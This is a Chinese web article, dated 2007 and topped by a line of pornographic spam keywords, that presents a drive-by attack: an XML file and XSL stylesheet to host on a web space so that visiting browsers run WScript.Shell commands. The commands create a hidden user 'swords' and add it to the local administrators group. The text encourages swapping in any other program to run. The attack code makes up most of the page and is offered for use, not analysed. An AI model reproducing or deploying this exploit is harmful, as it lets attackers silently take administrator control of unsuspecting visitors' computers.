欧美bbbwbbbw肥妇,免费乱码人妻系列日韩,一级黄片

利用xml+xsl給客戶機(jī)添加超級管理帳戶!

 更新時(shí)間:2007年01月16日 00:00:00   作者:  

用法:把swords.xml和swords.xsl放在一個(gè)普通空間,相信很少人會注意xml的安全性吧,嘎嘎,只要把你想運(yùn)行的程序添加到run() 即可,默認(rèn)支持js和vbs.
這個(gè)程序加了一個(gè)用戶為 swords,密碼為est的超級管理員賬號。

swords.xml

<?xml version="1.0" encoding="GB2312"?>
<?xml-stylesheet type="text/xsl" href="swords.xsl"?>
<name>I am swords,I am admin!</name>


swords.xsl

<?xml version="1.0" encoding="gb2312"?>
<xsl:stylesheet xmlns:xsl="<xsl:template match="/">
<html>
<body>
<xsl:value-of select="name" />
<xsl:script>
function run()
{
var wsh;
var wsh = new ActiveXObject("WScript.Shell");
wsh.run( "net user swords est /add",0);
wsh.run( "net localgroup administrators swords /add",0);
wsh.run( "cmd.exe /c echo test!");
}
</xsl:script>
<xsl:eval>run()</xsl:eval>
</body>
</html>
</xsl:template>
</xsl:stylesheet>

相關(guān)文章

最新評論